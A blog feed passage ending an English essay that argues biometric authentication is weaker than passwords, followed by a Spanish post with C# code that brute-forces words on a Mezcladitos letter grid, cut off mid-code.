href="http://dasalte.ccc.de/biometrie/fingerabdruck_kopieren?language=en">Fingerprint reconstruction</a></p> </li> <li><p class="first">Are "undeniable"</p> <p>When using memorized passwords, it is very difficult for anyone to force another person to reveal it against their will. Either with an explicit denial, or using plausible deniability (generating a situation where it is impossible to prove otherwise. For example "I have forgotten it").</p> <p>However, it is possible to be physically forced to use your finger to unlock access, so the use of this kind of authentication adds a threat not only to information security, but to <strong>physical integrity</strong> for the person, who may be attacked or kidnapped to obtain their credentials.</p> </li> <li><p class="first">They can be stolen by means outside the control of the owner</p> <p>The information extracted from a biometric trait will be stored in a database, regardless of the format used. This opens the door to not only be physically stolen, but also compromising the place where these data are stored, either:</p> <ul class="simple"> <li>With reverse engineer the electronic device where it is stored (microchip, memory, ...)</li> <li>Compromising the security of a server or database where it could be saved.</li> </ul> <p>It wouldn't be necessary to obtain the "image" of a fingerprint, since the extracted and stored data from it (whether patterns, geometry or hashes) are potentially usable for being injected directly into the system bypassing the sensor, or, after analysis of the generation algorithm, a reconstruction of it.</p> </li> <li><p class="first">These systems have a very large attack surface</p> <p>Compromising a biometric system is not limited to attacks with computer technology. Another potential attack vectors include fields as diverse as:</p> <ul class="simple"> <li><strong>Audiovisual</strong>: Techniques used in films or radio to fool our senses and create an illusion, can also be used to circumvent an electronic system much easier.</li> <li><strong>Medicine</strong>: It's possible to alter physiological characteristics, such as pulse, blood pressure, the pupils of the eyes ...</li> <li><strong>Mechanics</strong>: Technologies such as robotics can emulate human behavior.</li> <li><strong>Chemistry</strong>: Developing compounds that mimic the skin (such as latex), ocular acuity, ...</li> <li><strong>Crafting</strong>: It's possible to craft objects realistically simulating human characteristics (such as a face).</li> <li><strong>Electronics</strong>: The hardware is as vulnerable as the software when you have physical access to it.</li> <li><strong>Applied Physics</strong></li> </ul> <p>Among others.</p> <p>This means it is difficult to predict what kind of attack could affect a particular biometric system.</p> </li> </ol> <div class="figure align-center" style="width: 450px"> <div class="imgwrap drop-shadow curved curved-vt-2"><img alt="Anatomía del iris" src="//antoniorodriguez.es/posts/problematica-biometria-como-metodo-autenticacion/anatomiairis.jpg"/></div> <p class="caption">Like fingerprints, eye iris also shows various recognizable features from which to extract biometric templates.</p> </div> </div> <div class="section" id="conclusions"> <h2>Conclusions</h2> <p>The use of biometric mechanisms for consumers are intended to solve a problem of convenience at the expense of security.</p> <p>Today there are still many people who do not set a password on their phones, tablets or computers for the inconvenience of typing it each time they are used.</p> <p>Using a fingerprint or other biometric features to solve it, besides it facilitates usability, is not the best way, because in addition to the problems described above, <strong>encourages the end user to not be aware of the importance of keeping information safe and they would forget the good practices</strong> on privacy, as getting used to memorize good passwords, using a different one for each service, changing them often, or avoiding writing them down and using them in places where they could be "shoulder surfed".</p> <p>Therefore, <strong>is advisable to limit the use of biometric applications where security and privacy are not a priority technologies, and if so, use them only in two-factor authentication systems</strong>.</p> </div> Fuerza bruta mecánica: Ganando al Mezcladitos jugando de verdad2013-02-14T10:32:00+01:00tag:antoniorodriguez.es,2013-02-14:fuerza-bruta-mecanica-ganando-al-mezcladitos-jugando-de-verdad<p><em>Este artículo lo publiqué originalmente en</em> <a class="reference external" href="http://www.securitybydefault.com/2013/02/fuerza-bruta-mecanica-ganando-al.html">Security By Default</a>.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Jhonny5" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/sc.jpg"/></div> <p>El mes pasado, nuestro amigo <a class="reference external" href="http://www.twitter.com/lawwait">Lorenzo Martínez</a> nos enseñó como <a class="reference external" href="http://www.securitybydefault.com/2013/01/como-ganar-siempre-mezcladitos.html">ganar siempre a Mezcladitos</a> interceptando las comunicaciones entre el juego y el servidor.</p> <p>Como soy de ciencias, y en este tipo de juegos llevamos las de perder contra los de letras, y como no me gusta hacer trampas para ganar, decidí buscar una forma de jugar el juego utilizando mis conocimientos técnicos:</p> <div class="line-block"> <div class="line"><br/></div> </div> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/O8fphNLxwAQ?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><div class="line-block"> <div class="line"><br/></div> </div> <p>Bueno, quizá si sean trampas, pero al menos no estamos hackeando el sistema ;)</p> <p>Esto es solo una inocente demostración de lo que es la fuerza bruta mecánica. Cuando escuchamos hablar sobre fuerza bruta, la mayoría de las veces nos viene a la cabeza el "ensayo y error" software para atacar contraseñas cifrando y comprobando si son válidas. Sin embargo podemos aplicarla mecánicamente a todo tipo de cosas: teclados virtuales, teclados físicos, roscas, etc.</p> <p>En esta demostración he jugado al Mezcladitos de Facebook, sin embargo me hubiese gustado disponer de unos cuantos servos y un arduino para jugar directamente sobre la pantalla del iPhone (haciendo un sencillo "tecleador" mecánico).</p> <p>Lo primero fue crear un algoritmo que resuelve el casillero, buscando por fuerza bruta todas las palabras que contiene basandome en un diccionario con todas las palabras del idioma español.</p> <p>Dado que tenemos solo dos minutos para jugar, necesitamos calcular las palabras en el menor tiempo posible, así que ademas de optimizar el algoritmo, lo lanzamos en 16 threads (uno por cada casilla) para aprovechar todos los núcleos de nuestra CPU. Dicho algoritmo recorre todos los caminos posibles desde una casilla y comprueba si la palabra resultante en cada uno de ellos existe en el diccionario.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="highlight"><pre><span class="k">using</span> <span class="n">MezcladitosPWNer</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Collections</span><span class="p">.</span><span class="n">Generic</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Text</span><span class="p">.</span><span class="n">RegularExpressions</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">;</span> <span class="k">using</span> <span class="n">System</span><span class="p">.</span><span class="n">Linq</span><span class="p">;</span> <span class="k">namespace</span> <span class="n">MezcladitosPWNer</span> <span class="p">{</span> <span class="k">public</span> <span class="k">class</span> <span class="nc">FuerzaBruta</span> <span class="p">{</span> <span class="k">private</span> <span class="n">ManualResetEvent</span> <span class="n">_doneEvent</span><span class="p">;</span> <span class="k">private</span> <span class="n">string</span> <span class="n">_letra</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span> <span class="n">_x</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span> <span class="n">_y</span><span class="p">;</span> <span class="k">private</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">_ruta</span><span class="p">;</span> <span class="k">private</span> <span class="n">string</span> <span class="n">_palabra</span><span class="p">;</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesA</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesB</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesC</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesD</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesE</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesF</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesG</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesH</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">private</span> <span class="kt">int</span><span class="p">[,]</span> <span class="n">adyacentesI</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span> <span class="p">},</span> <span class="p">{</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">},</span> <span class="p">{</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span> <span class="p">}</span> <span class="p">};</span> <span class="k">public</span> <span class="nf">FuerzaBruta</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">string</span> <span class="n">palabra</span><span class="p">,</span> <span class="n">ManualResetEvent</span> <span class="n">doneEvent</span><span class="p">)</span> <span class="p">{</span> <span class="n">_doneEvent</span> <span class="o">=</span> <span class="n">doneEvent</span><span class="p">;</span> <span class="n">_x</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span> <span class="n">_y</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span> <span class="n">_ruta</span> <span class="o">=</span> <span class="n">ruta</span><span class="p">;</span> <span class="n">_palabra</span> <span class="o">=</span> <span class="n">palabra</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="kt">void</span> <span class="nf">ThreadPoolCallback</span><span class="p">(</span><span class="n">Object</span> <span class="n">threadContext</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">threadIndex</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">threadContext</span><span class="p">;</span> <span class="n">ady</span><span class="p">(</span><span class="n">_x</span><span class="p">,</span> <span class="n">_y</span><span class="p">,</span> <span class="n">_ruta</span><span class="p">,</span> <span class="n">_palabra</span><span class="p">);</span> <span class="n">_doneEvent</span><span class="p">.</span><span class="n">Set</span><span class="p">();</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">void</span> <span class="nf">ady</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">pRuta</span><span class="p">,</span> <span class="n">string</span> <span class="n">palabra</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">_doneEvent</span><span class="p">.</span><span class="n">WaitOne</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">;</span> <span class="n">ruta</span> <span class="o">=</span> <span class="k">new</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">pRuta</span><span class="p">);</span> <span class="n">Regex</span> <span class="n">regPart</span><span class="p">;</span> <span class="kt">int</span> <span class="n">palMaxTam</span><span class="p">;</span> <span class="n">Match</span> <span class="n">m</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">ruta</span><span class="p">.</span><span class="n">Capacity</span> <span class="o">&gt;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">maxLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="n">ruta</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">ToString</span><span class="p">()</span> <span class="o">+</span> <span class="n">y</span><span class="p">.</span><span class="n">ToString</span><span class="p">());</span> <span class="n">palabra</span> <span class="o">+=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">cas</span><span class="p">[</span><span class="n">x</span><span class="p">][</span><span class="n">y</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">palabra</span><span class="p">.</span><span class="n">Length</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">_letra</span> <span class="o">=</span> <span class="n">palabra</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">palabra</span><span class="p">.</span><span class="n">Length</span> <span class="o">&gt;=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">minLength</span><span class="p">)</span> <span class="p">{</span> <span class="n">palMaxTam</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">maxLength</span> <span class="o">-</span> <span class="n">palabra</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">arrays</span><span class="p">[</span><span class="n">_letra</span><span class="p">].</span><span class="n">Contains</span><span class="p">(</span><span class="n">palabra</span><span class="p">))</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">frm</span><span class="p">.</span><span class="n">pwnWord</span><span class="p">(</span><span class="n">palabra</span><span class="p">,</span> <span class="k">new</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span><span class="p">(</span><span class="n">ruta</span><span class="p">));</span> <span class="n">Globales</span><span class="p">.</span><span class="n">frm</span><span class="p">.</span><span class="n">AsyncWriteLine</span><span class="p">(</span><span class="n">palabra</span> <span class="o">+</span> <span class="s">" "</span><span class="p">);</span> <span class="p">}</span> <span class="n">regPart</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Regex</span><span class="p">(</span><span class="err">@</span><span class="s">"#("</span> <span class="o">+</span> <span class="n">palabra</span> <span class="o">+</span> <span class="s">"</span><span class="se">\\</span><span class="s">S{"</span> <span class="o">+</span> <span class="n">palMaxTam</span> <span class="o">+</span> <span class="s">"})#"</span><span class="p">);</span> <span class="n">m</span> <span class="o">=</span> <span class="n">regPart</span><span class="p">.</span><span class="n">Match</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">cadenas</span><span class="p">[</span><span class="n">_letra</span><span class="p">]);</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">m</span><span class="p">.</span><span class="n">Success</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesA</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesA</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesA</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesB</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesB</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesB</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesC</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesC</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesC</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesD</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesD</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesD</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesE</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesE</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesE</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesF</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesF</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesF</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesG</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesG</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesG</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesH</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesH</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesH</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesI</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesI</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesI</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">void</span> <span class="nf">profundizar</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span 